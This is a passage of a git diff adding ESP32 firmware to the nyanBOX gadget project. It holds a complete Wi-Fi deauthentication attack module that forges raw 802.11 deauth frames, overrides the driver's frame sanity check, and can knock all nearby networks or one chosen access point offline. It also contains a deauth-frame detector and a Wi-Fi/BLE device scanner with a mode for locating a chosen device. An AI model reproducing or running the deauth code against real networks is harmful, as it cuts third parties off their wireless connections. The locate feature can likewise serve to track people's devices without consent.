= 0; + +static bool scanInProgress = false; +static uint16_t currentScanCount = 0; + +static bool needsRedraw = true; +static Mode lastMode = MODE_MENU; +static int lastMenuSelection = -1; +static int lastApIndex = -1; +static int lastApCount = -1; +static uint16_t lastScanCount = 0; +static unsigned long lastScanUpdate = 0; +const unsigned long scanUpdateInterval = 100; + +// Modified to whitelist network SSIDs +const char *ssidWhitelist[] = { + "whitelistExample1", + "whitelistExample2" +}; + +const int whitelistCount = sizeof(ssidWhitelist) / sizeof(ssidWhitelist[0]); + +inline bool isWhitelisted(const char *ssid) { + for (int i = 0; i < whitelistCount; i++) { + if (strcmp(ssid, ssidWhitelist[i]) == 0) + return true; + } + return false; +} + +struct AP_Info { + char ssid[33]; + uint8_t bssid[6]; + int channel; +}; + +static AP_Info apList[MAX_APS]; +static int apCount = 0; + +static uint8_t deauthFrame[28] = {0xC0, 0x00, 0x3A, 0x01, 0xFF, 0xFF, 0xFF, + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xFF, 0x00, 0x00, 0x01, 0x00}; + +void sendDeauth(const AP_Info &ap) { + esp_wifi_set_channel(ap.channel, WIFI_SECOND_CHAN_NONE); + memcpy(deauthFrame + 10, ap.bssid, 6); + memcpy(deauthFrame + 16, ap.bssid, 6); + for (int i = 0; i < 10; i++) { + esp_wifi_80211_tx(WIFI_IF_AP, deauthFrame, sizeof(deauthFrame), false); + delay(1); + } +} + +void startScan() { + if (scanInProgress) return; + + apCount = 0; + currentScanCount = 0; + scanInProgress = true; + returnMode = currentMode; + currentMode = MODE_SCANNING; + needsRedraw = true; + + esp_wifi_set_promiscuous(false); + esp_wifi_set_mode(WIFI_MODE_APSTA); + delay(100); + + wifi_scan_config_t scan_config = { + .ssid = NULL, + .bssid = NULL, + .channel = 0, + .show_hidden = false, + .scan_type = WIFI_SCAN_TYPE_ACTIVE, + .scan_time = { + .active = { + .min = 120, + .max = 200 + } + } + }; + + esp_wifi_scan_start(&scan_config, false); + scanStartTime = millis(); +} + +void processScanResults() { + uint16_t number = 0; + esp_wifi_scan_get_ap_num(&number); + + if (number > 0) { + wifi_ap_record_t *ap_info = (wifi_ap_record_t *)malloc(sizeof(wifi_ap_record_t) * number); + + if (ap_info != NULL) { + memset(ap_info, 0, sizeof(wifi_ap_record_t) * number); + + uint16_t actual_number = number; + esp_err_t err = esp_wifi_scan_get_ap_records(&actual_number, ap_info); + + if (err == ESP_OK) { + apCount = 0; + for (int i = 0; i < actual_number && apCount < MAX_APS; i++) { + // Skip hidden networks + if (ap_info[i].ssid[0] == '\0') continue; + + // Skip whitelisted networks + if (isWhitelisted((char*)ap_info[i].ssid)) continue; + + strncpy(apList[apCount].ssid, (char*)ap_info[i].ssid, sizeof(apList[apCount].ssid) - 1); + apList[apCount].ssid[sizeof(apList[apCount].ssid) - 1] = '\0'; + memcpy(apList[apCount].bssid, ap_info[i].bssid, 6); + apList[apCount].channel = ap_info[i].primary; + apCount++; + } + } + + free(ap_info); + } + } + + esp_wifi_scan_stop(); + + esp_wifi_set_promiscuous(true); + + scanInProgress = false; + currentMode = returnMode; + apIndex = 0; + needsRedraw = true; +} + +void drawScanning() { + unsigned long now = millis(); + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning APs..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "Found: %d networks", currentScanCount); + u8g2.drawStr(0, 25, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = 4; + int barY = 35; + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + unsigned long elapsed = now - scanStartTime; + int fillWidth = ((elapsed * (barWidth - 4)) / SCAN_DURATION); + if (fillWidth > (barWidth - 4)) fillWidth = barWidth - 4; + if (fillWidth > 0) { + u8g2.drawBox(barX + 2, barY + 2, fillWidth, barHeight - 4); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 60, "Press SEL to exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void drawMenu() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 12, "Deauth Mode:"); + u8g2.drawStr(0, 28, menuSelection == 0 ? "> All networks" : " All networks"); + u8g2.drawStr(0, 44, menuSelection == 1 ? "> Single AP" : " Single AP"); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "U/D=Move R=OK SEL=Exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void drawAll() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 12, "Deauthing all APs"); + + char buf[32]; + snprintf(buf, sizeof(buf), "Networks: %d", apCount); + u8g2.drawStr(0, 28, buf); + + if (apCount > 0) { + char channels[64] = "Ch: "; + bool channelUsed[15] = {false}; + + for (int i = 0; i < apCount; i++) { + int ch = apList[i].channel; + if (ch >= 1 && ch <= 14) { + channelUsed[ch] = true; + } + } + + bool first = true; + for (int i = 1; i <= 14; i++) { + if (channelUsed[i]) { + if (!first) strcat(channels, ", "); + char chStr[4]; + snprintf(chStr, sizeof(chStr), "%d", i); + strcat(channels, chStr); + first = false; + } + } + + u8g2.drawStr(0, 44, channels); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void drawList() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 12, "Select AP to deauth"); + if (apCount > 0) { + char line1[32]; + char maskedSSID[33]; + maskName(apList[apIndex].ssid, maskedSSID, sizeof(maskedSSID) - 1); + snprintf(line1, sizeof(line1), "%s Ch:%d", maskedSSID, + apList[apIndex].channel); + u8g2.drawStr(0, 28, line1); + char line2[24]; + char bssidStr[18]; + snprintf(bssidStr, sizeof(bssidStr), "%02X:%02X:%02X:%02X:%02X:%02X", + apList[apIndex].bssid[0], apList[apIndex].bssid[1], + apList[apIndex].bssid[2], apList[apIndex].bssid[3], + apList[apIndex].bssid[4], apList[apIndex].bssid[5]); + char maskedBSSID[18]; + maskMAC(bssidStr, maskedBSSID); + u8g2.drawStr(0, 44, maskedBSSID); + } else { + u8g2.drawStr(0, 30, "No APs found"); + } + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "U/D=Scroll R=Start L=Back"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void drawDeauthSingle() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 12, "Deauthing Selected AP"); + char buf[32]; + char maskedSSID[33]; + maskName(apList[apIndex].ssid, maskedSSID, sizeof(maskedSSID) - 1); + snprintf(buf, sizeof(buf), "%s Ch:%d", maskedSSID, + apList[apIndex].channel); + u8g2.drawStr(0, 28, buf); + char mac[24]; + snprintf(mac, sizeof(mac), "%02X:%02X:%02X:%02X:%02X:%02X", + apList[apIndex].bssid[0], apList[apIndex].bssid[1], + apList[apIndex].bssid[2], apList[apIndex].bssid[3], + apList[apIndex].bssid[4], apList[apIndex].bssid[5]); + char maskedMAC[18]; + maskMAC(mac, maskedMAC); + u8g2.drawStr(0, 44, maskedMAC); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "L=Stop & Back SEL=Exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void deauthSetup() { + initWiFi(WIFI_MODE_APSTA); + + esp_wifi_set_promiscuous(true); + + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + + currentMode = MODE_MENU; + menuSelection = 0; + apIndex = 0; + apCount = 0; + lastScanTime = 0; + lastDeauthTime = 0; + scanInProgress = false; + + needsRedraw = true; + lastMode = MODE_MENU; + lastMenuSelection = -1; + lastApIndex = -1; + lastApCount = -1; + lastScanCount = 0; + lastScanUpdate = 0; + + startScan(); + lastScanTime = millis(); +} + +void deauthLoop() { + unsigned long now = millis(); + + if (currentMode == MODE_SCANNING) { + esp_wifi_scan_get_ap_num(¤tScanCount); + + if (currentScanCount != lastScanCount) { + lastScanCount = currentScanCount; + needsRedraw = true; + } + if (now - lastScanUpdate >= scanUpdateInterval) { + lastScanUpdate = now; + needsRedraw = true; + } + + if (needsRedraw) { + drawScanning(); + needsRedraw = false; + } + + if (now - scanStartTime > SCAN_DURATION) { + processScanResults(); + lastScanTime = now; + } + return; + } + + if (now - lastScanTime >= SCAN_INTERVAL && + currentMode != MODE_DEAUTH_SINGLE && !scanInProgress) { + startScan(); + lastScanTime = now; + return; + } + + bool up = digitalRead(BTN_UP) == LOW; + bool down = digitalRead(BTN_DOWN) == LOW; + bool left = digitalRead(BTN_BACK) == LOW; + bool right = digitalRead(BTN_RIGHT) == LOW; + + switch (currentMode) { + case MODE_MENU: + if (up || down) { + menuSelection ^= 1; + needsRedraw = true; + delay(200); + } + if (right) { + currentMode = (menuSelection == 0 ? MODE_ALL : MODE_LIST); + needsRedraw = true; + delay(200); + } + break; + + case MODE_ALL: + if (left) { + currentMode = MODE_MENU; + needsRedraw = true; + delay(200); + } + break; + + case MODE_LIST: + if (up && apCount) { + apIndex = (apIndex - 1 + apCount) % apCount; + needsRedraw = true; + delay(200); + } + if (down && apCount) { + apIndex = (apIndex + 1) % apCount; + needsRedraw = true; + delay(200); + } + if (right && apCount) { + currentMode = MODE_DEAUTH_SINGLE; + needsRedraw = true; + delay(200); + } + if (left) { + currentMode = MODE_MENU; + needsRedraw = true; + delay(200); + } + break; + + case MODE_DEAUTH_SINGLE: + if (left) { + currentMode = MODE_LIST; + needsRedraw = true; + delay(200); + } + break; + + case MODE_SCANNING: + break; + } + + if (currentMode != lastMode) { + lastMode = currentMode; + needsRedraw = true; + } + + if (menuSelection != lastMenuSelection) { + lastMenuSelection = menuSelection; + needsRedraw = true; + } + + if (apIndex != lastApIndex && + (currentMode == MODE_LIST || currentMode == MODE_DEAUTH_SINGLE)) { + lastApIndex = apIndex; + needsRedraw = true; + } + + if (apCount != lastApCount) { + lastApCount = apCount; + needsRedraw = true; + } + + if (needsRedraw) { + switch (currentMode) { + case MODE_MENU: + drawMenu(); + break; + case MODE_ALL: + drawAll(); + break; + case MODE_LIST: + drawList(); + break; + case MODE_DEAUTH_SINGLE: + drawDeauthSingle(); + break; + case MODE_SCANNING: + break; + } + needsRedraw = false; + } + + if (now - lastDeauthTime >= DEAUTH_INTERVAL && apCount) { + lastDeauthTime = now; + if (currentMode == MODE_ALL) { + sendDeauth(apList[apIndex]); + apIndex = (apIndex + 1) % apCount; + lastApIndex = apIndex; + } else if (currentMode == MODE_DEAUTH_SINGLE) { + sendDeauth(apList[apIndex]); + } + } +} \ No newline at end of file diff --git a/cyd-port/src/deauth_scanner.cpp b/cyd-port/src/deauth_scanner.cpp new file mode 100644 index 0000000..b159ddd --- /dev/null +++ b/cyd-port/src/deauth_scanner.cpp @@ -0,0 +1,296 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2026 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/deauth_scanner.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/pindefs.h" +#include "../include/display_mirror.h" +#include "../include/setting.h" +#include +#include "esp_wifi.h" +#include "esp_event.h" + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +#define BTN_UP BUTTON_PIN_UP +#define BTN_DOWN BUTTON_PIN_DOWN +#define BTN_RIGHT BUTTON_PIN_RIGHT +#define BTN_BACK BUTTON_PIN_LEFT + +#define CHANNEL_MIN 1 +#define CHANNEL_MAX 13 +#define CHANNEL_HOP_INTERVAL 1500 + +static bool useMainChannels = true; +static const uint8_t mainChannels[] = {1, 6, 11}; +static const int numMainChannels = sizeof(mainChannels) / sizeof(mainChannels[0]); +static int currentChannelIndex = 0; +static uint8_t currentChannel = 1; +static uint16_t deauthCount = 0; +static uint16_t totalDeauths = 0; + +static uint8_t lastDeauthMAC[6] = {0}; +static uint8_t lastDeauthChannel = 0; +static int8_t displayedRSSI = 0; +static int32_t rssiAccum = 0; +static uint16_t rssiCount = 0; +static bool macSeen = false; + +static unsigned long lastChannelHop = 0; +static unsigned long lastButtonPress = 0; +const unsigned long debounceTime = 200; + +static bool needsRedraw = true; +static uint16_t lastDisplayedDeauthCount = 0; +static uint16_t lastDisplayedTotalDeauths = 0; +static uint8_t lastDisplayedChannel = 0; +static bool lastDisplayedMode = true; +static bool lastMacSeen = false; +static unsigned long lastPeriodicUpdate = 0; +const unsigned long periodicUpdateInterval = 1000; +static unsigned long lastRSSIUpdate = 0; + +// Bypass sanity checks for raw 802.11 frames +extern "C" int ieee80211_raw_frame_sanity_check(int32_t, int32_t, int32_t) { + return 0; +} + +typedef struct { + uint16_t frame_ctrl; + uint16_t duration_id; + uint8_t addr1[6]; + uint8_t addr2[6]; + uint8_t addr3[6]; + uint16_t sequence_ctrl; +} __attribute__((packed)) wifi_ieee80211_mac_hdr_t; + +static void fmtCount(char *out, size_t sz, unsigned long val) { + if (val < 1000) { + snprintf(out, sz, "%lu", val); + } else { + snprintf(out, sz, "%.2fk", val / 1000.0); + } +} + +void formatMAC(char *output, const uint8_t *mac) { + if (!macSeen) { + snprintf(output, 18, "N/A"); + } else { + snprintf(output, 18, "%02X:%02X:%02X:%02X:%02X:%02X", + mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); + } +} + +void packetSniffer(void *buf, wifi_promiscuous_pkt_type_t type) { + if (type != WIFI_PKT_MGMT) return; + + wifi_promiscuous_pkt_t *packet = (wifi_promiscuous_pkt_t *)buf; + if (packet->rx_ctrl.sig_len < sizeof(wifi_ieee80211_mac_hdr_t)) return; + + wifi_ieee80211_mac_hdr_t *hdr = (wifi_ieee80211_mac_hdr_t *)packet->payload; + uint16_t fc = hdr->frame_ctrl; + + if ((fc & 0xFC) == 0xC0) { // Deauthentication frame filter + memcpy(lastDeauthMAC, hdr->addr2, 6); + lastDeauthChannel = currentChannel; + rssiAccum += packet->rx_ctrl.rssi; + rssiCount++; + macSeen = true; + deauthCount++; + totalDeauths++; + needsRedraw = true; + } +} + +void deauthScannerSetup() { + initWiFi(WIFI_MODE_STA); + + wifi_promiscuous_filter_t filter = { + .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT + }; + + esp_wifi_set_promiscuous(false); + esp_wifi_set_promiscuous_filter(&filter); + esp_wifi_set_promiscuous_rx_cb(packetSniffer); + esp_wifi_set_promiscuous(true); + + useMainChannels = true; + currentChannelIndex = 0; + currentChannel = mainChannels[currentChannelIndex]; + esp_wifi_set_channel(currentChannel, WIFI_SECOND_CHAN_NONE); + + deauthCount = 0; + totalDeauths = 0; + macSeen = false; + memset(lastDeauthMAC, 0, sizeof(lastDeauthMAC)); + lastDeauthChannel = 0; + displayedRSSI = 0; + rssiAccum = 0; + rssiCount = 0; + lastChannelHop = millis(); + lastButtonPress = 0; + + needsRedraw = true; + lastDisplayedDeauthCount = 0; + lastDisplayedTotalDeauths = 0; + lastDisplayedChannel = 0; + lastDisplayedMode = true; + lastMacSeen = false; + lastPeriodicUpdate = millis(); + lastRSSIUpdate = millis(); + + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + + u8g2.begin(); +} + +void renderDeauthStats() { + char headerStr[32]; + char macStr[18]; + + const char* modeText = useMainChannels ? "Main CH" : "All CH"; + snprintf(headerStr, sizeof(headerStr), "CH:%2d | %s", currentChannel, modeText); + formatMAC(macStr, lastDeauthMAC); + + u8g2.clearBuffer(); + + u8g2.setFont(u8g2_font_helvR08_tr); + int headerWidth = u8g2.getUTF8Width(headerStr); + u8g2.drawStr((128 - headerWidth) / 2, 10, headerStr); + + char curBuf[10], totBuf[10]; + fmtCount(curBuf, sizeof(curBuf), deauthCount); + fmtCount(totBuf, sizeof(totBuf), totalDeauths); + char countsStr[32]; + snprintf(countsStr, sizeof(countsStr), "Cur:%s Tot:%s", curBuf, totBuf); + int countsWidth = u8g2.getUTF8Width(countsStr); + u8g2.drawStr((128 - countsWidth) / 2, 21, countsStr); + + u8g2.setFont(u8g2_font_5x8_tr); + if (macSeen) { + const char* macLabel = "Last MAC:"; + int macLabelWidth = u8g2.getUTF8Width(macLabel); + u8g2.drawStr((128 - macLabelWidth) / 2, 31, macLabel); + + char maskedMAC[18]; + maskMAC(macStr, maskedMAC); + char macChanStr[24]; + snprintf(macChanStr, sizeof(macChanStr), "%s CH%d", maskedMAC, lastDeauthChannel); + int macChanWidth = u8g2.getUTF8Width(macChanStr); + u8g2.drawStr((128 - macChanWidth) / 2, 41, macChanStr); + + char rssiStr[16]; + snprintf(rssiStr, sizeof(rssiStr), "RSSI: %d dBm", displayedRSSI); + int rssiWidth = u8g2.getUTF8Width(rssiStr); + u8g2.drawStr((128 - rssiWidth) / 2, 51, rssiStr); + } else { + const char* waitMsg = "Scanning for deauths..."; + int waitWidth = u8g2.getUTF8Width(waitMsg); + u8g2.drawStr((128 - waitWidth) / 2, 41, waitMsg); + } + + u8g2.setFont(u8g2_font_4x6_tr); + const char* instruction = "LEFT=Mode SEL=Exit"; + int instrWidth = u8g2.getUTF8Width(instruction); + u8g2.drawStr((128 - instrWidth) / 2, 61, instruction); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void hopChannel() { + if (useMainChannels) { + currentChannelIndex = (currentChannelIndex + 1) % numMainChannels; + currentChannel = mainChannels[currentChannelIndex]; + } else { + currentChannel++; + if (currentChannel > CHANNEL_MAX) currentChannel = CHANNEL_MIN; + } + + esp_wifi_set_channel(currentChannel, WIFI_SECOND_CHAN_NONE); + deauthCount = 0; + needsRedraw = true; +} + +void deauthScannerLoop() { + unsigned long now = millis(); + + if (now - lastButtonPress > debounceTime) { + if (digitalRead(BTN_BACK) == LOW) { + useMainChannels = !useMainChannels; + + if (useMainChannels) { + currentChannelIndex = 0; + currentChannel = mainChannels[currentChannelIndex]; + } else { + currentChannel = CHANNEL_MIN; + } + + esp_wifi_set_channel(currentChannel, WIFI_SECOND_CHAN_NONE); + deauthCount = 0; + lastButtonPress = now; + needsRedraw = true; + } + } + + if (now - lastChannelHop >= CHANNEL_HOP_INTERVAL) { + hopChannel(); + lastChannelHop = now; + } + + if (deauthCount != lastDisplayedDeauthCount) { + lastDisplayedDeauthCount = deauthCount; + needsRedraw = true; + } + + if (totalDeauths != lastDisplayedTotalDeauths) { + lastDisplayedTotalDeauths = totalDeauths; + needsRedraw = true; + } + + if (currentChannel != lastDisplayedChannel) { + lastDisplayedChannel = currentChannel; + needsRedraw = true; + } + + if (useMainChannels != lastDisplayedMode) { + lastDisplayedMode = useMainChannels; + needsRedraw = true; + } + + if (macSeen != lastMacSeen) { + lastMacSeen = macSeen; + needsRedraw = true; + } + + if (now - lastPeriodicUpdate >= periodicUpdateInterval) { + lastPeriodicUpdate = now; + needsRedraw = true; + } + + if (now - lastRSSIUpdate >= periodicUpdateInterval) { + if (rssiCount > 0) { + displayedRSSI = (int8_t)(rssiAccum / rssiCount); + rssiAccum = 0; + rssiCount = 0; + } + lastRSSIUpdate = now; + } + + if (needsRedraw) { + renderDeauthStats(); + needsRedraw = false; + } +} \ No newline at end of file diff --git a/cyd-port/src/device_scout.cpp b/cyd-port/src/device_scout.cpp new file mode 100644 index 0000000..ec1d9ff --- /dev/null +++ b/cyd-port/src/device_scout.cpp @@ -0,0 +1,877 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/device_scout.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/setting.h" +#include "esp_wifi.h" +#include "esp_event.h" +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_bt_main.h" +#include "../include/radio_manager.h" +#include +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +namespace { + +#define BTN_UP BUTTON_PIN_UP +#define BTN_DOWN BUTTON_PIN_DOWN +#define BTN_RIGHT BUTTON_PIN_RIGHT +#define BTN_BACK BUTTON_PIN_LEFT + +enum ScanPhase { + PHASE_WIFI_INIT, + PHASE_BLE_INIT, + PHASE_COMPLETED +}; + +struct ScoutDeviceData { + char name[32]; + char address[18]; + int8_t rssi; + bool isWiFi; + unsigned long lastSeen; + uint8_t channel; + uint16_t scanCount; + bool seenThisCycle; +}; + +static std::vector scoutDevices; + +const int MAX_DEVICES = 100; + +int currentIndex = 0; +int listStartIndex = 0; +bool isDetailView = false; +bool isLocateMode = false; +char locateTargetAddress[18] = {0}; +bool locateTargetIsWiFi = false; +uint8_t locateTargetChannel = 0; +unsigned long lastButtonPress = 0; +const unsigned long debounceTime = 200; + +static bool needsRedraw = true; +static int lastDeviceCount = 0; +static unsigned long lastLocateUpdate = 0; +const unsigned long locateUpdateInterval = 1000; +static unsigned long lastCountdownUpdate = 0; +const unsigned long countdownUpdateInterval = 1000; +static bool wasScanning = false; + +static ScanPhase currentPhase = PHASE_WIFI_INIT; +static bool isScanning = false; +static unsigned long lastScanTime = 0; +const unsigned long scanInterval = 30000; +const unsigned long wifiScanDuration = 8000; +const unsigned long bleScanDuration = 8000; +static unsigned long phaseStartTime = 0; + +static bool bleInitialized = false; +static bool wifiInitialized = false; +static bool scanCompleted = false; + +static uint8_t current_channel = 1; +static unsigned long last_channel_hop = 0; +const unsigned long CHANNEL_HOP_INTERVAL = 500; +const uint8_t MAX_CHANNEL = 13; + +static void bda_to_string(uint8_t *bda, char *str, size_t size) { + if (bda == NULL || str == NULL || size < 18) { + return; + } + snprintf(str, size, "%02x:%02x:%02x:%02x:%02x:%02x", + bda[0], bda[1], bda[2], bda[3], bda[4], bda[5]); +} + +int getWiFiDeviceCount() { + int count = 0; + for (const auto &dev : scoutDevices) { + if (dev.isWiFi) count++; + } + return count; +} + +int getBLEDeviceCount() { + int count = 0; + for (const auto &dev : scoutDevices) { + if (!dev.isWiFi) count++; + } + return count; +} + +void hop_channel() { + unsigned long now = millis(); + if (now - last_channel_hop > CHANNEL_HOP_INTERVAL) { + current_channel++; + if (current_channel > MAX_CHANNEL) { + current_channel = 1; + } + esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE); + last_channel_hop = now; + } +} + +void addOrUpdateScoutDevice(const char* name, const char* address, int8_t rssi, bool isWiFi, uint8_t channel) { + if (isLocateMode && strlen(locateTargetAddress) > 0) { + if (strcmp(address, locateTargetAddress) != 0) { + return; + } + } else if (scoutDevices.size() >= MAX_DEVICES) { + return; + } + + unsigned long now = millis(); + + for (size_t i = 0; i < scoutDevices.size(); i++) { + if (strcmp(scoutDevices[i].address, address) == 0) { + scoutDevices[i].rssi = rssi; + scoutDevices[i].lastSeen = now; + scoutDevices[i].channel = channel; + + if (!isLocateMode && !scoutDevices[i].seenThisCycle) { + scoutDevices[i].scanCount++; + scoutDevices[i].seenThisCycle = true; + } + + if (strlen(name) > 0 && strcmp(name, "Unknown") != 0) { + strncpy(scoutDevices[i].name, name, 31); + scoutDevices[i].name[31] = '\0'; + } + + if (!isLocateMode) { + std::sort(scoutDevices.begin(), scoutDevices.end(), + [](const ScoutDeviceData &a, const ScoutDeviceData &b) { + if (a.scanCount != b.scanCount) { + return a.scanCount > b.scanCount; + } + return a.rssi > b.rssi; + }); + } + + return; + } + } + + if (isLocateMode) { + return; + } + + ScoutDeviceData newDev; + strncpy(newDev.name, name[0] ? name : "Unknown", 31); + newDev.name[31] = '\0'; + strncpy(newDev.address, address, 17); + newDev.address[17] = '\0'; + newDev.rssi = rssi; + newDev.isWiFi = isWiFi; + newDev.lastSeen = now; + newDev.channel = channel; + newDev.scanCount = 1; + newDev.seenThisCycle = true; + + scoutDevices.push_back(newDev); + + std::sort(scoutDevices.begin(), scoutDevices.end(), + [](const ScoutDeviceData &a, const ScoutDeviceData &b) { + if (a.scanCount != b.scanCount) { + return a.scanCount > b.scanCount; + } + return a.rssi > b.rssi; + }); + + needsRedraw = true; +} + +static void IRAM_ATTR wifi_sniffer_packet_handler(void* buff, wifi_promiscuous_pkt_type_t type) { + if (type != WIFI_PKT_MGMT) + return; + + const wifi_promiscuous_pkt_t *ppkt = (wifi_promiscuous_pkt_t *)buff; + const uint8_t *frame = ppkt->payload; + int len = ppkt->rx_ctrl.sig_len; + + if (len <= 4) + return; + len -= 4; + + uint8_t frameType = frame[0]; + uint8_t frameSubtype = (frameType & 0xF0); + + if (frameSubtype != 0x80 && frameSubtype != 0x40 && frameSubtype != 0x50) { + return; + } + + char addrStr[18]; + snprintf(addrStr, sizeof(addrStr), "%02x:%02x:%02x:%02x:%02x:%02x", + frame[10], frame[11], frame[12], frame[13], frame[14], frame[15]); + + if (frame[10] & 0x01) { + return; + } + + char ssid[33] = {0}; + uint8_t channel = 0; + int ssidOffset = 0; + + if (frameSubtype == 0x80 || frameSubtype == 0x50) { + ssidOffset = 36; + } else if (frameSubtype == 0x40) { + ssidOffset = 24; + } + + if (ssidOffset > 0 && len > ssidOffset) { + int offset = ssidOffset; + + while (offset + 2 < len) { + uint8_t tag_number = frame[offset]; + uint8_t tag_length = frame[offset + 1]; + + if (offset + 2 + tag_length > len) { + break; + } + + if (tag_number == 0 && tag_length > 0 && tag_length <= 32) { + memcpy(ssid, &frame[offset + 2], tag_length); + ssid[tag_length] = '\0'; + } + + if (tag_number == 3 && tag_length == 1) { + channel = frame[offset + 2]; + } + + offset += 2 + tag_length; + } + } + + if (strlen(ssid) == 0) { + return; + } + + if (channel == 0) { + channel = current_channel; + } + + addOrUpdateScoutDevice(ssid, addrStr, ppkt->rx_ctrl.rssi, true, channel); +} + +static esp_ble_scan_params_t ble_scan_params = { + .scan_type = BLE_SCAN_TYPE_ACTIVE, + .own_addr_type = BLE_ADDR_TYPE_PUBLIC, + .scan_filter_policy = BLE_SCAN_FILTER_ALLOW_ALL, + .scan_interval = 0x100, + .scan_window = 0xA0, + .scan_duplicate = BLE_SCAN_DUPLICATE_DISABLE +}; + +static void process_ble_scan_result(esp_ble_gap_cb_param_t *scan_result) { + uint8_t *bda = scan_result->scan_rst.bda; + char addrStr[18]; + bda_to_string(bda, addrStr, sizeof(addrStr)); + + if (strlen(addrStr) < 12) return; + + char name[32] = {0}; + uint8_t *adv_name = NULL; + uint8_t adv_name_len = 0; + + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_CMPL, + &adv_name_len); + + if (!adv_name) { + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_SHORT, + &adv_name_len); + } + + if (adv_name) { + memcpy(name, adv_name, std::min((int)adv_name_len, 31)); + name[std::min((int)adv_name_len, 31)] = '\0'; + } + + addOrUpdateScoutDevice(name, addrStr, scan_result->scan_rst.rssi, false, 0); +} + +static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param) { + switch (event) { + case ESP_GAP_BLE_SCAN_PARAM_SET_COMPLETE_EVT: + if (param->scan_param_cmpl.status == ESP_BT_STATUS_SUCCESS) { + isScanning = true; + esp_ble_gap_start_scanning(8); + } + break; + case ESP_GAP_BLE_SCAN_START_COMPLETE_EVT: + if (param->scan_start_cmpl.status != ESP_BT_STATUS_SUCCESS) { + isScanning = false; + } + break; + case ESP_GAP_BLE_SCAN_RESULT_EVT: + switch (param->scan_rst.search_evt) { + case ESP_GAP_SEARCH_INQ_RES_EVT: + process_ble_scan_result(param); + break; + case ESP_GAP_SEARCH_INQ_CMPL_EVT: + isScanning = false; + if (isLocateMode && !locateTargetIsWiFi) { + isScanning = true; + esp_ble_gap_start_scanning(8); + } + break; + default: + break; + } + break; + case ESP_GAP_BLE_SCAN_STOP_COMPLETE_EVT: + isScanning = false; + break; + default: + break; + } +} + +void drawDetailView() { + if (currentIndex >= scoutDevices.size()) { + isDetailView = false; + needsRedraw = true; + return; + } + + const ScoutDeviceData& dev = scoutDevices[currentIndex]; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + + char truncatedName[22]; + if (strlen(maskedName) > 20) { + strncpy(truncatedName, maskedName, 18); + truncatedName[18] = '\0'; + strcat(truncatedName, ".."); + } else { + strcpy(truncatedName, maskedName); + } + u8g2.drawStr(0, 8, truncatedName); + + char maskedMAC[18]; + maskMAC(dev.address, maskedMAC); + char line[32]; + snprintf(line, sizeof(line), "MAC: %s", maskedMAC); + u8g2.drawStr(0, 18, line); + + snprintf(line, sizeof(line), "RSSI: %ddBm", dev.rssi); + u8g2.drawStr(0, 28, line); + + if (dev.isWiFi && dev.channel > 0) { + snprintf(line, sizeof(line), "Type: WiFi CH:%d", dev.channel); + } else { + snprintf(line, sizeof(line), "Type: %s", dev.isWiFi ? "WiFi" : "BLE"); + } + u8g2.drawStr(0, 38, line); + + unsigned long ageSeconds = (millis() - dev.lastSeen) / 1000; + + char ageLine[16]; + if (ageSeconds >= 60) { + unsigned long ageMinutes = ageSeconds / 60; + snprintf(ageLine, sizeof(ageLine), "%lum", ageMinutes); + } else { + 